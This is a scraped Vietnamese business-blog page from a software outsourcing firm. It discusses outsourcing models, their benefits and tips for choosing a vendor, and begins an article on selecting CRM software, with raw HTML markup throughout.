R&otilde; r&agrave;ng, sự kh&aacute;c biệt về ng&ocirc;n ngữ dẫn đến kh&oacute; khăn trong việc giữ c&aacute;c doanh nghiệp v&agrave; đội ngũ kỹ thuật thu&ecirc; ngo&agrave;i tr&ecirc;n c&ugrave;ng một trang khi truyền tải th&ocirc;ng điệp. Hiểu sai dẫn đến l&atilde;ng ph&iacute; thời gian, c&ocirc;ng sức v&agrave; cuối c&ugrave;ng dẫn đến thất vọng v&agrave; hiệu suất k&eacute;m cho cả hai đội
Sự kh&aacute;c biệt về m&uacute;i giờ trong đ&oacute; c&oacute; sự chồng ch&eacute;o ng&agrave;y l&agrave;m việc hạn chế cũng c&oacute; thể dẫn đến sự cố trong giao tiếp, th&aacute;ch thức việc cập nhật tiến độ dự &aacute;n do thiếu khả năng hiển thị, gi&aacute;n đoạn v&agrave; kết nối. Việc bỏ lỡ thời hạn, l&agrave;m lại c&ocirc;ng việc v&agrave; thất bại c&oacute; thể l&agrave; những kết quả kh&ocirc;ng mong đợi.
Ng&agrave;y nay, c&ocirc;ng nghệ v&agrave; to&agrave;n cầu h&oacute;a đ&atilde; giảm bớt kh&oacute; khăn trong giao tiếp. Khả năng hiểu tiếng Anh tr&ocirc;i chảy đang trở n&ecirc;n phổ biến ở c&aacute;c quốc gia. Ngo&agrave;i ra, c&aacute;c nền tảng họp ảo như Zoom, Skype, Google Hangout, v.v. đ&atilde; tạo điều kiện cho sự tương t&aacute;c bền vững. Do đ&oacute;, việc thiết lập c&aacute;c cuộc họp trực tuyến thường xuy&ecirc;n được l&ecirc;n lịch giữa kh&aacute;ch h&agrave;ng v&agrave; nh&oacute;m từ xa được khuyến kh&iacute;ch để giữ tiến độ minh bạch v&agrave; doanh nghiệp c&oacute; thể cung cấp phản hồi kịp thời trong mỗi giai đoạn để tiến h&agrave;nh c&aacute;c dự &aacute;n.
<h2 style="text-align: justify;">L&agrave;m thế n&agrave;o để outsource ph&aacute;t triển phần mềm một c&aacute;ch hiệu quả?</h2>
<ul style="text-align: justify;">
<li>
<h3>Lựa chọn: Lựa chọn đối t&aacute;c tin cậy để đồng h&agrave;nh ph&aacute;t triển phần mềm</h3>
</li>
</ul>
Chất lượng của ph&aacute;t triển phần mềm phụ thuộc rất lớn v&agrave;o chất lượng của nh&agrave; cung cấp dịch vụ gia c&ocirc;ng phần mềm. Một nh&agrave; cung cấp c&ocirc;ng nghệ chất lượng cao c&oacute; thể th&uacute;c đẩy năng suất v&agrave; th&uacute;c đẩy tăng trưởng t&iacute;ch cực cho c&aacute;c doanh nghiệp. Nghi&ecirc;n cứu kỹ lưỡng v&agrave; lựa chọn trước hợp l&yacute; h&oacute;a to&agrave;n bộ qu&aacute; tr&igrave;nh ph&aacute;t triển.
L&agrave;m thế n&agrave;o để chọn một nh&agrave; cung cấp gia c&ocirc;ng phần mềm đ&aacute;ng tin cậy ? Danh s&aacute;ch kiểm tra dưới đ&acirc;y c&oacute; thể cung cấp một số manh mối:
Chứng chỉ v&agrave; chứng chỉ của nh&agrave; cung cấp phần mềm: Nền tảng của đối t&aacute;c c&ocirc;ng nghệ l&agrave; rất quan trọng cho việc đ&aacute;nh gi&aacute;. Nghi&ecirc;n cứu kinh nghiệm v&agrave; mở rộng doanh nghiệp của họ. Chứng chỉ v&agrave; giải thưởng c&oacute; thể chỉ ra c&aacute;c nh&agrave; cung cấp c&oacute; uy t&iacute;n, đặc biệt chứng chỉ ISMS phải l&agrave; chứng chỉ bắt buộc để đảm bảo quyền ri&ecirc;ng tư cho dữ liệu doanh nghiệp của bạn.
T&agrave;i liệu tham khảo trong ng&agrave;nh của bạn: Hợp t&aacute;c với một nh&agrave; cung cấp c&oacute; kinh nghiệm trong ng&agrave;nh của bạn c&oacute; thể đảm bảo qu&aacute; tr&igrave;nh ph&aacute;t triển sẽ được sắp xếp hợp l&yacute;
Mức độ t&ugrave;y chỉnh v&agrave; khả năng mở rộng m&agrave; một giải ph&aacute;p phần mềm cung cấp: Khi c&aacute;c c&ocirc;ng ty mở rộng phần mềm của họ sẽ c&oacute; thể mở rộng quy m&ocirc; tương ứng. Khả năng mở rộng quy m&ocirc; hệ thống l&agrave; một lựa chọn bền vững
<ul style="text-align: justify;">
<li>
<h3>Mục ti&ecirc;u: Tạo c&aacute;c chỉ số hiệu suất ch&iacute;nh (KPI)</h3>
</li>
</ul>
Tập trung v&agrave;o những g&igrave; bạn muốn đạt được với nh&oacute;m ph&aacute;t triển phần mềm của m&igrave;nh. Th&ecirc;m t&iacute;nh minh bạch với y&ecirc;u cầu v&agrave; mục ti&ecirc;u của bạn thiết lập ph&iacute;a trước gi&uacute;p tăng cường sự tham gia của nh&oacute;m v&agrave; hiệu suất l&agrave;m việc.
Đặt mục ti&ecirc;u bằng c&aacute;ch tạo c&aacute;c KPI cụ thể cho ph&eacute;p cả hai b&ecirc;n nhận thức được những g&igrave; cần chuyển đổi để l&agrave;m cho việc triển khai phần mềm th&agrave;nh c&ocirc;ng. KPI cũng cho ph&eacute;p c&ocirc;ng ty của bạn được cập nhật về tiến độ ph&aacute;t triển v&agrave; đảm bảo dự &aacute;n phần mềm của bạn được ho&agrave;n th&agrave;nh như mong đợi.
C&aacute;c mục ti&ecirc;u minh bạch đảm bảo sự hiểu biết lẫn nhau dẫn đến quan hệ đối t&aacute;c hiệu quả v&agrave; l&acirc;u d&agrave;i
<ul style="text-align: justify;">
<li>
<h3>Giao tiếp: Thiết lập một lịch tr&igrave;nh giao tiếp ph&ugrave; hợp</h3>
</li>
</ul>
Giao tiếp l&agrave; ch&igrave;a kh&oacute;a để hiểu c&aacute;c vấn đề cần giải quyết v&agrave; đưa ra giải ph&aacute;p ph&ugrave; hợp. V&igrave; vậy, thiết lập một lịch tr&igrave;nh giao tiếp ph&ugrave; hợp l&agrave; điều cấp thiết để đảm bảo doanh nghiệp v&agrave; đội ngũ kỹ thuật của bạn ở c&ugrave;ng một trang. C&aacute;c cuộc họp thường xuy&ecirc;n, b&aacute;o c&aacute;o, tin nhắn tức thời, cuộc gọi điện thoại, hội nghị truyền h&igrave;nh sẽ x&oacute;a bỏ những kh&oacute; khăn trong giao tiếp v&agrave; l&agrave;m thẳng qu&aacute; tr&igrave;nh hợp t&aacute;c, gi&uacute;p to&agrave;n bộ qu&aacute; tr&igrave;nh ph&aacute;t triển được sắp xếp hợp l&yacute; v&agrave; th&agrave;nh c&ocirc;ng.
<img style="display: block; margin-left: auto; margin-right: auto;" src="https://blackwind.vn:5443/files/2020/9/25/8e8f0c70-ff1f-11ea-a4b8-77222073938e-1601032158903.jpeg" alt="outsource" width="800" height="450" />
<ul style="text-align: justify;">
<li>
<h3>Cam kết v&agrave; tin cậy</h3>
</li>
</ul>
Cam kết của bạn tạo ra những t&aacute;c động hữu h&igrave;nh như vậy đối với sản phẩm cuối c&ugrave;ng. Do đ&oacute;, việc tiếp tục tham gia v&agrave;o qu&aacute; tr&igrave;nh ph&aacute;t triển dự &aacute;n l&agrave; rất quan trọng. Tuy nhi&ecirc;n, n&oacute; kh&ocirc;ng c&oacute; nghĩa l&agrave; đặt qu&aacute; nhiều quyền kiểm so&aacute;t v&agrave; quản l&yacute; l&ecirc;n nh&oacute;m ph&aacute;t triển của bạn. Tập trung v&agrave;o những g&igrave; bạn c&oacute; thể đ&oacute;ng g&oacute;p để n&acirc;ng cao chất lượng của qu&aacute; tr&igrave;nh ph&aacute;t triển dự &aacute;n, kh&ocirc;ng đi qu&aacute; chi tiết trong qu&aacute; tr&igrave;nh ph&aacute;t triển. Cho ph&eacute;p đối t&aacute;c gia c&ocirc;ng của bạn thực hiện c&aacute;ch thức l&agrave;m việc của họ. H&atilde;y tin tưởng rằng họ l&agrave; những người muốn những g&igrave; tốt nhất cho doanh nghiệp của bạn.&nbsp; Sự tin tưởng v&agrave; hợp t&aacute;c ph&ugrave; hợp mang lại kết quả hiệu quả v&agrave; thiết lập một c&ocirc;ng ty bền vững
Hiện nay n&oacute; trở th&agrave;nh một xu hướng gia c&ocirc;ng phần mềm khi mối quan hệ giữa c&ocirc;ng ty v&agrave; nh&agrave; cung cấp dịch vụ gia c&ocirc;ng phần mềm đang chuyển sang quan hệ đối t&aacute;c hợp t&aacute;c.
<ul style="text-align: justify;">
<li>
<h3>Hợp đồng: Soạn một thỏa thuận kinh doanh th&iacute;ch hợp</h3>
</li>
</ul>
Thỏa thuận kinh doanh ph&ugrave; hợp c&oacute; thể rất quan trọng đối với sự th&agrave;nh c&ocirc;ng của việc thu&ecirc; ngo&agrave;i ph&aacute;t triển phần mềm của bạn. Hợp đồng thể hiện tất cả c&aacute;c thỏa thuận trong qu&aacute; tr&igrave;nh đ&agrave;m ph&aacute;n, n&ecirc;u r&otilde; phạm vi của dự &aacute;n v&agrave; tập trung v&agrave;o c&aacute;c kết quả kinh doanh m&agrave; hai b&ecirc;n mong muốn đạt được.
Ngo&agrave;i ra, h&atilde;y k&ecirc; khai r&otilde; r&agrave;ng tr&ecirc;n bảng chi ph&iacute; để đảm bảo kh&ocirc;ng c&oacute; ph&iacute; bổ sung hoặc hậu quả miễn ph&iacute; ẩn. Sự minh bạch trong t&agrave;i ch&iacute;nh g&oacute;p phần tạo n&ecirc;n một đối t&aacute;c l&acirc;u d&agrave;i đ&aacute;ng tin cậy.

Khi doanh nghiệp cần thuê outsourcing để phát triển phần mềm công nghệ cần phải chú ý một số điểm sau để tránh "tiền mất tật mang".

Những lưu ý khi thuê đội gia công phần mềm?

Trong những năm gần đ&acirc;y, n&oacute; đ&atilde; b&ugrave;ng nổ như một xu hướng to&agrave;n cầu. B&agrave;i viết n&agrave;y đưa ra những hiểu biết chung m&agrave; bạn cần biết trước khi thu&ecirc; ngo&agrave;i c&aacute;c dự &aacute;n ph&aacute;t triển phần mềm của m&igrave;nh. Bạn kh&ocirc;ng chỉ c&oacute; được những hiểu biết s&acirc;u sắc về c&aacute;c m&ocirc; h&igrave;nh thu&ecirc; ngo&agrave;i kh&aacute;c nhau m&agrave; c&ograve;n cả c&aacute;c mẹo để thu&ecirc; ngo&agrave;i phần mềm một c&aacute;ch hiệu quả v&agrave; th&agrave;nh c&ocirc;ng.
<img src="https://blackwind.vn:5443/files/2020/9/23/6b63df20-fd5b-11ea-a4b8-77222073938e-1600837967379.png" alt="gia-cong-phan-mem" width="800" height="420" />
<h2 style="text-align: justify;">Gia c&ocirc;ng phần mềm l&agrave; g&igrave;?</h2>
Gia c&ocirc;ng phần mềm l&agrave; thực tế m&agrave; một c&ocirc;ng ty ủy th&aacute;c một dự &aacute;n phần mềm cho một doanh nghiệp b&ecirc;n ngo&agrave;i c&oacute; nguồn lực, t&agrave;i năng, khả năng v&agrave; thời gian để xử l&yacute; c&aacute;c nhu cầu kinh doanh bắt buộc.
Ph&aacute;t triển với tốc độ cực nhanh, c&ocirc;ng nghệ đang th&uacute;c đẩy qu&aacute; tr&igrave;nh ph&aacute;t triển phần mềm. Một ph&aacute;t minh mới c&oacute; thể bị lỗi thời trong một thời điểm như vậy. Do đ&oacute;, c&aacute;c c&ocirc;ng ty đang chuyển hướng chiến lược sang gia c&ocirc;ng phần mềm để tăng tốc v&agrave; gi&agrave;nh lợi thế cạnh tranh trong ng&agrave;nh.
Theo một b&aacute;o c&aacute;o gần đ&acirc;y của Statista , trong năm 2019, quy m&ocirc; thị trường gia c&ocirc;ng phần mềm CNTT to&agrave;n cầu l&ecirc;n tới 66,52 tỷ USD v&agrave; dự đo&aacute;n sẽ tăng 98 tỷ USD trong giai đoạn dự b&aacute;o 2020-2024 theo b&aacute;o c&aacute;o " IT Outsourcing Thị trường theo Dịch vụ, Người d&ugrave;ng cuối v&agrave; Địa l&yacute; - Dự b&aacute;o v&agrave; Ph&acirc;n t&iacute;ch 2020-2024 &rdquo;của Technavio. Nhu cầu gia c&ocirc;ng phần mềm đang tăng nhanh v&agrave; sẽ sớm trở th&agrave;nh xu hướng to&agrave;n cầu cho l&agrave;n s&oacute;ng chuyển đổi kỹ thuật số.
<h2 style="text-align: justify;">C&aacute;c m&ocirc; h&igrave;nh gia c&ocirc;ng phần mềm hiện nay</h2>
<ul>
<li>
<h3>M&ocirc; h&igrave;nh hợp đồng gi&aacute; cố định</h3>
</li>
</ul>
M&ocirc; h&igrave;nh n&agrave;y cho ph&eacute;p ng&acirc;n s&aacute;ch được ấn định trước khi bắt đầu dự &aacute;n, gi&uacute;p giảm bớt rắc rối t&agrave;i ch&iacute;nh bất ngờ theo thời gian thực. Kh&aacute;ch h&agrave;ng được lập h&oacute;a đơn theo c&aacute;c mốc được x&aacute;c định trước. M&ocirc; h&igrave;nh n&agrave;y l&yacute; tưởng cho c&aacute;c dự &aacute;n một lần m&agrave; phạm vi được x&aacute;c định trong nội bộ. Ngo&agrave;i ra, c&aacute;c doanh nghiệp vừa v&agrave; nhỏ v&agrave; c&aacute;c c&ocirc;ng ty khởi nghiệp được khuyến nghị cho m&ocirc; h&igrave;nh n&agrave;y v&igrave; n&oacute; đảm bảo ho&agrave;n th&agrave;nh dự &aacute;n trong phạm vi ng&acirc;n s&aacute;ch
Ưu điểm: Gi&aacute; cố định kh&ocirc;ng chỉ l&agrave; một m&ocirc; h&igrave;nh định gi&aacute; trong ph&aacute;t triển phần mềm t&ugrave;y chỉnh, n&oacute; x&aacute;c định trước c&aacute;c quy tr&igrave;nh dự &aacute;n v&agrave; tr&aacute;ch nhiệm của tất cả c&aacute;c b&ecirc;n li&ecirc;n quan. C&aacute;c r&agrave;ng buộc của Tam gi&aacute;c quản l&yacute; dự &aacute;n bao gồm phạm vi, thời gian v&agrave; chi ph&iacute; đều được cố định.
Nhược điểm: Vấn đề ch&iacute;nh của gi&aacute; ph&aacute;t triển phần mềm cố định l&agrave; hầu như kh&ocirc;ng c&oacute; t&iacute;nh linh hoạt cho Kh&aacute;ch h&agrave;ng. T&iacute;nh linh hoạt trở th&agrave;nh điều cần thiết trong c&aacute;c dự &aacute;n quy m&ocirc; vừa v&agrave; lớn, trong điều kiện kinh doanh v&agrave; c&ocirc;ng nghệ thay đổi li&ecirc;n tục. &nbsp;
<ul style="text-align: justify;">
<li>
<h3>M&ocirc; h&igrave;nh trung t&acirc;m ph&aacute;t triển nước ngo&agrave;i</h3>
</li>
</ul>
Trong m&ocirc; h&igrave;nh n&agrave;y, c&aacute;c doanh nghiệp thường kh&ocirc;ng c&oacute; bộ phận CNTT nội bộ v&agrave; sử dụng c&aacute;c trung t&acirc;m ph&aacute;t triển chuy&ecirc;n dụng để thu&ecirc; ngo&agrave;i to&agrave;n bộ quy tr&igrave;nh CNTT tại cơ sở của kh&aacute;ch h&agrave;ng. N&oacute;i c&aacute;ch kh&aacute;c, trung t&acirc;m ph&aacute;t triển nước ngo&agrave;i hoạt động như một phần mở rộng của nh&oacute;m phần mềm của kh&aacute;ch h&agrave;ng.
Ưu điểm: Trung t&acirc;m ph&aacute;t triển nước ngo&agrave;i sẽ chịu tr&aacute;ch nhiệm về nhiều nhiệm vụ, cả về quản l&yacute; v&agrave; kỹ thuật, bao gồm thiết kế ph&acirc;n t&iacute;ch v&agrave; hệ thống, cập nhật phần mềm, viết m&atilde; mới, v.v. V&igrave; vậy, tổ chức kh&aacute;ch h&agrave;ng kh&ocirc;ng phải lo lắng về bất kỳ kh&iacute;a cạnh n&agrave;o của qu&aacute; tr&igrave;nh ph&aacute;t triển. Đối t&aacute;c gia c&ocirc;ng phần mềm CNTT sẽ chia sẻ mọi tr&aacute;ch nhiệm đối với chu tr&igrave;nh ph&aacute;t triển sản phẩm, c&aacute;c doanh nghiệp miễn ph&iacute; khỏi việc quản l&yacute; chuy&ecirc;n s&acirc;u so với m&ocirc; h&igrave;nh tăng cường nh&acirc;n vi&ecirc;n
Nhược điểm: Với một trung t&acirc;m ph&aacute;t triển nước ngo&agrave;i, c&aacute;c c&ocirc;ng ty thường cam kết hợp t&aacute;c l&acirc;u d&agrave;i v&agrave; chia sẻ phần lớn th&ocirc;ng tin bao gồm dữ liệu b&iacute; mật v&agrave; nhạy cảm nội bộ, điều n&agrave;y c&oacute; nguy cơ khiến c&ocirc;ng ty bị r&ograve; rỉ dữ liệu. Do đ&oacute;, m&ocirc; h&igrave;nh n&agrave;y đ&ograve;i hỏi một nỗ lực để lựa chọn một đối t&aacute;c đ&aacute;ng tin cậy.
<ul style="text-align: justify;">
<li>
<h3>Tăng nh&acirc;n vi&ecirc;n</h3>
</li>
</ul>
Tăng nh&acirc;n vi&ecirc;n l&agrave; việc sử dụng c&aacute;c chuy&ecirc;n gia b&ecirc;n ngo&agrave;i tạm thời để n&acirc;ng cao năng lực của một c&ocirc;ng ty. M&ocirc; h&igrave;nh n&agrave;y cho ph&eacute;p c&aacute;c doanh nghiệp c&oacute; quyền quản l&yacute; c&aacute;c nguồn lực như một nh&oacute;m nội bộ. Kh&aacute;ch h&agrave;ng c&oacute; thể thu&ecirc; nh&acirc;n sự ph&ugrave; hợp để ph&ugrave; hợp với c&aacute;c y&ecirc;u cầu cụ thể, chẳng hạn như số lượng nh&agrave; ph&aacute;t triển c&ugrave;ng với bộ kỹ năng v&agrave; kinh nghiệm của họ để lấp đầy khoảng trống trong c&aacute;c dự &aacute;n tu&acirc;n thủ c&aacute;c mục ti&ecirc;u kinh doanh hiện tại.
Ưu điểm: M&ocirc; h&igrave;nh thu&ecirc; ngo&agrave;i n&agrave;y được coi l&agrave; l&yacute; tưởng khi đội ngũ nội bộ của kh&aacute;ch h&agrave;ng đang thiếu c&aacute;c chuy&ecirc;n gia ti&ecirc;n tiến cho một dự &aacute;n cụ thể. Phương ph&aacute;p n&agrave;y cho ph&eacute;p kh&aacute;ch h&agrave;ng nhanh ch&oacute;ng tuyển dụng c&aacute;c nh&agrave; ph&aacute;t triển chất lượng cao để lấp đầy khoảng trống kỹ năng. Ngo&agrave;i ra, kh&aacute;ch h&agrave;ng c&oacute; thể mở rộng quy m&ocirc; một c&aacute;ch linh hoạt theo nhu cầu của doanh nghiệp. N&oacute; ph&ugrave; hợp cho cả cam kết d&agrave;i hạn v&agrave; ngắn hạn
Nhược điểm: Nhược điểm lớn của phương ph&aacute;p n&agrave;y l&agrave; c&ocirc;ng ty sẽ phải d&agrave;nh thời gian đ&aacute;ng kể cho c&aacute;c chuy&ecirc;n gia thu&ecirc; ngo&agrave;i. Ngo&agrave;i ra, kh&aacute;ch h&agrave;ng c&oacute; thể gặp kh&oacute; khăn trong giao tiếp do m&uacute;i giờ kh&aacute;c nhau v&agrave; hiểu biết về văn h&oacute;a.
<h2>Tại sao c&aacute;c doanh nghiệp n&ecirc;n &aacute;p dụng Gia c&ocirc;ng phần mềm?</h2>
<ul style="text-align: justify;">
<li>
<h3>Giảm chi ph&iacute; ph&aacute;t triển phần mềm v&agrave; chi ph&iacute; vận h&agrave;nh</h3>
</li>
</ul>
Theo Khảo s&aacute;t Gia c&ocirc;ng phần mềm To&agrave;n cầu năm 2016 của Deloitte, động lực h&agrave;ng đầu để c&aacute;c doanh nghiệp thu&ecirc; ngo&agrave;i l&agrave; cắt giảm chi ph&iacute;.
Tr&ecirc;n thực tế, mức gi&aacute; trung b&igrave;nh mỗi giờ để thu&ecirc; một nh&agrave; ph&aacute;t triển phần mềm cao cấp ở Mỹ l&agrave; 100 - 170 USD, một nh&agrave; ph&aacute;t triển c&oacute; kinh nghiệm v&agrave; kỹ năng kỹ thuật tương tự c&oacute; thể được thu&ecirc; với gi&aacute; 40 USD ở ch&acirc;u &Aacute;, theo The Scalers . Ngo&agrave;i ra, bằng c&aacute;ch ủy quyền cho nh&oacute;m gia c&ocirc;ng phần mềm, c&aacute;c c&ocirc;ng ty c&oacute; thể giảm chi ph&iacute; quản l&yacute; lao động của họ, bao gồm chi ph&iacute; tuyển dụng, bảo hiểm, đ&agrave;o tạo, nghỉ việc, v.v.
B&ecirc;n cạnh đ&oacute;, chi ph&iacute; thiết bị v&agrave; c&aacute;c vật tư kh&aacute;c cũng l&agrave; một khoản tiết kiệm đ&aacute;ng kể cho c&aacute;c c&ocirc;ng ty t&iacute;nh đến việc gia c&ocirc;ng phần mềm.
<ul>
<li>
<h3>Uyển chuyển</h3>
</li>
</ul>
Gia c&ocirc;ng phần mềm cho ph&eacute;p c&aacute;c doanh nghiệp c&oacute; một lực lượng lao động linh hoạt. Thay v&igrave; duy tr&igrave; việc l&agrave;m l&acirc;u d&agrave;i v&agrave; trả lương cho c&aacute;c lập tr&igrave;nh vi&ecirc;n nội bộ to&agrave;n thời gian quanh năm, c&aacute;c c&ocirc;ng ty c&oacute; thể thu&ecirc; một c&ocirc;ng ty gia c&ocirc;ng phần mềm v&agrave; chỉ tiếp cận c&aacute;c nh&agrave; ph&aacute;t triển đủ điều kiện cho dự &aacute;n khi cần. Điều n&agrave;y c&oacute; lợi cho c&aacute;c doanh nghiệp về sự linh hoạt của lực lượng lao động, đặc biệt khi v&agrave;o m&ugrave;a thấp điểm khi dự &aacute;n được ho&agrave;n th&agrave;nh hoặc c&ocirc;ng ty phải l&agrave;m việc với ng&acirc;n s&aacute;ch dự ph&ograve;ng.
<ul style="text-align: justify;">
<li>
<h3>Cải thiện hoạt động kinh doanh với một chiến lược tập trung</h3>
</li>
</ul>
Bằng c&aacute;ch hợp t&aacute;c với nh&oacute;m gia c&ocirc;ng phần mềm ph&aacute;t triển, một doanh nghiệp c&oacute; thể giải ph&oacute;ng năng lượng để tập trung hơn v&agrave;o &yacute; tưởng kinh doanh cốt l&otilde;i v&agrave; c&aacute;c hoạt động như x&acirc;y dựng thương hiệu, nghi&ecirc;n cứu v&agrave; ph&aacute;t triển để cung cấp c&aacute;c dịch vụ định hướng gi&aacute; trị cho kh&aacute;ch h&agrave;ng của m&igrave;nh.
Khả năng tiếp cận c&aacute;c t&agrave;i năng CNTT th&agrave;nh thạo tr&ecirc;n quy m&ocirc; lớn cho ph&eacute;p kh&aacute;ch h&agrave;ng thực hiện c&aacute;c dự &aacute;n của họ một c&aacute;ch hiệu quả trong khi c&oacute; nhiều thời gian hơn để tập trung v&agrave;o năng lực cốt l&otilde;i v&agrave; giải ph&aacute;p kinh doanh của họ để đạt được khả năng cạnh tranh tr&ecirc;n thị trường.
Hơn nữa, đối với c&aacute;c c&ocirc;ng ty kh&aacute;ch h&agrave;ng kh&ocirc;ng thuộc ng&agrave;nh c&ocirc;ng nghệ th&ocirc;ng tin, nh&oacute;m gia c&ocirc;ng phần mềm mang lại những lợi &iacute;ch đ&aacute;ng kể v&igrave; họ cung cấp cho c&aacute;c c&ocirc;ng ty sự tham vấn của chuy&ecirc;n gia v&agrave; c&aacute;ch tiếp cận với hầu hết c&aacute;c c&ocirc;ng nghệ ti&ecirc;n tiến để lu&ocirc;n đổi mới v&agrave; đi trước xu hướng.
<ul style="text-align: justify;">
<li>
<h3>Sự tăng tốc</h3>
</li>
</ul>
Việc đ&aacute;nh gi&aacute; c&oacute; sẵn đối với một nh&oacute;m c&aacute;c t&agrave;i năng CNTT đ&atilde; c&oacute; kinh nghiệm v&agrave; th&ocirc;ng thạo c&aacute;c c&ocirc;ng nghệ cho ph&eacute;p một doanh nghiệp đẩy nhanh tiến độ thực hiện dự &aacute;n m&agrave; kh&ocirc;ng mất thời gian đ&agrave;o tạo, giới thiệu hoặc nghi&ecirc;n cứu. Một c&ocirc;ng ty gia c&ocirc;ng phần mềm c&oacute; thể n&acirc;ng cao năng suất m&agrave; kh&ocirc;ng ảnh hưởng đến chất lượng.
Để quyết định một đối t&aacute;c gia c&ocirc;ng phần mềm đ&aacute;ng tin cậy cho một dự &aacute;n kỹ thuật l&agrave; rất quan trọng v&agrave; kh&oacute; khăn. Ch&uacute;ng t&ocirc;i hy vọng những chia sẻ của ch&uacute;ng t&ocirc;i về gia c&ocirc;ng phần mềm tr&ecirc;n đ&acirc;y c&oacute; thể gi&uacute;p bạn c&oacute; c&aacute;i nh&igrave;n tổng quan về ng&agrave;nh v&agrave; hỗ trợ bạn t&igrave;m được đối t&aacute;c tin cậy đồng h&agrave;nh c&ugrave;ng bạn tr&ecirc;n h&agrave;nh tr&igrave;nh đổi mới.
Trong trường hợp bạn đang t&igrave;m kiếm một nh&agrave; cung cấp tốt về c&ocirc;ng nghệ, Blackwind Software c&oacute; thể l&agrave; thứ bạn đang t&igrave;m kiếm.

Trước sự phát triển vượt bậc của công nghệ và nhu cầu cấp thiết về chuyển đổi số trong Công nghiệp 4.0, gia công phần mềm đang trở thành một chiến lược hiệu quả để các doanh nghiệp tăng tốc và đi trướ

Gia công phần mềm thúc đẩy doanh nghiệp phát triển

Trước sự phát triển vượt bậc của công nghệ và nhu cầu về chuyển đổi số trong Công nghiệp 4.0, gia công phần mềm đang trở thành một chiến lược hiệu quả để các doanh nghiệp tăng tốc, đi trước đón đầu

Doanh nghiệp của bạn đang làm gì và sẽ làm gì để không bị tụt hậu trong cuộc đua này - khi mà Chuyển đổi số có thể đã tạo ra đột phá cho những đối thủ không ngờ nhất?

Làm thế nào để doanh nghiệp chuyển đổi số thành công

Chỉ có 11% thành công trong quá trình chuyển đổi số - làm thế nào để là một trong số 11% thành công này?

Mỗi năm, lại c&oacute; h&agrave;ng t&aacute; những phần mềm mới ra đời chen ch&acirc;n v&agrave;o guồng quay khổng lồ n&agrave;y. V&igrave; vậy, nếu muốn lựa chọn một phần mềm th&iacute;ch hợp, bạn thật sự cần phải đầu tư thời gian v&agrave; tu&acirc;n thủ những ti&ecirc;u ch&iacute; nhất định.
<h3 style="text-align: justify;">1. Bước đầu ti&ecirc;n, h&atilde;y x&aacute;c định lại nhu cầu của bạn</h3>
<a href="https://blackwind.vn/dich-vu/phat-trien-phan-mem-crm-5">Phần mềm CRM</a> hiện nay c&oacute; thể l&agrave; cả một hệ thống bao gồm rất nhiều t&iacute;nh năng kh&aacute;c nhau, n&ecirc;n để lựa chọn cho m&igrave;nh một giải ph&aacute;p ph&ugrave; hợp, trước hết bạn cần phải x&aacute;c định lại nhu cầu sử dụng của m&igrave;nh. Để l&agrave;m được điều n&agrave;y, h&atilde;y tự đặt v&agrave; trả lời những c&acirc;u hỏi tương tự như:
<ul style="text-align: justify;">
<li>
Bạn c&oacute; cần t&igrave;m kiếm th&ecirc;m thật nhiều kh&aacute;ch h&agrave;ng tiềm năng (lead generation) kh&ocirc;ng? Nếu c&oacute;, bạn n&ecirc;n tập trung v&agrave;o những phần mềm CRM hỗ trợ hoạt động t&igrave;m hiểu học hỏi th&oacute;i quen người d&ugrave;ng.&nbsp;
</li>
<li>
Quy tr&igrave;nh b&aacute;n h&agrave;ng của bạn c&oacute; hay gặp phải trục trặc kh&ocirc;ng? Nếu c&oacute;, bạn cần một phần mềm CRM mạnh mẽ trong t&aacute;c vụ tổng hợp v&agrave; ph&acirc;n t&iacute;ch dữ liệu, qua đ&oacute; t&igrave;m ra n&uacute;t thắt m&agrave; m&igrave;nh đang gặp phải.&nbsp;
</li>
<li>
Bạn c&oacute; cần truy cập v&agrave; tương t&aacute;c với dữ liệu kh&aacute;ch h&agrave;ng dễ d&agrave;ng hơn kh&ocirc;ng? Nếu c&oacute;, nhiều phần mềm CRM với t&iacute;nh năng theo d&otilde;i th&ocirc;ng tin kh&aacute;ch h&agrave;ng 360 độ sẽ l&agrave; lời giải bạn đang t&igrave;m kiếm.&nbsp;
</li>
<li>Bạn c&oacute; muốn tăng hiệu quả l&agrave;m việc giữa c&aacute;c bộ phận của m&igrave;nh kh&ocirc;ng? Nếu c&oacute;, h&atilde;y t&igrave;m kiếm một phần mềm CRM c&oacute; khả năng tự động h&oacute;a c&agrave;ng nhiều quy tr&igrave;nh thủ c&ocirc;ng c&agrave;ng tốt.</li>
<li>Đội ngũ b&aacute;n h&agrave;ng của bạn c&oacute; đang gặp kh&oacute; khăn trong việc k&yacute; kết hợp đồng (lead conversion)? Nếu c&oacute;, bạn cần một phần mềm CRM c&oacute; khả năng chấm điểm kh&aacute;ch h&agrave;ng (lead scoring), từ đ&oacute; x&aacute;c định đối tượng người mua tiềm năng nhất để tiếp cận v&agrave; ch&agrave;o b&aacute;n.&nbsp;</li>
</ul>
<img style="display: block; margin-left: auto; margin-right: auto;" src="https://blackwind.vn:5443/files/2020/9/22/fa0bfe90-fcbd-11ea-a4b8-77222073938e-1600770346234.png" alt="phan-mem-crm" width="800" height="383" />
Tr&ecirc;n đ&acirc;y l&agrave; v&iacute; dụ một v&agrave;i c&acirc;u hỏi bạn n&ecirc;n trả lời để vạch ra nhu cầu cụ thể khi sử dụng phần mềm CRM. Lựa chọn giải ph&aacute;p ch&iacute;nh x&aacute;c cho những vấn đề m&igrave;nh đang gặp phải kh&ocirc;ng những gi&uacute;p c&ocirc;ng việc diễn ra trơn tru hơn, m&agrave; c&ograve;n l&agrave; một c&aacute;ch tiết kiệm chi ph&iacute; v&ocirc; c&ugrave;ng hiệu quả.
<h3 style="text-align: justify;">2. Xem x&eacute;t chi ph&iacute; sử dụng</h3>
Nếu đơn vị của bạn đang hoạt động với quy m&ocirc; nhỏ v&agrave; vừa, rất c&oacute; thể tiềm lực đầu tư phần mềm sẽ bị giới hạn đi đ&aacute;ng kể. Kh&aacute;c với những tập đo&agrave;n lớn, bạn kh&ocirc;ng thể vung ra h&agrave;ng ngh&igrave;n đ&ocirc; la để sử dụng phần mềm mỗi th&aacute;ng được. Vậy n&ecirc;n bạn cũng cần phải ch&uacute; trọng rất nhiều tới yếu tố chi ph&iacute;.
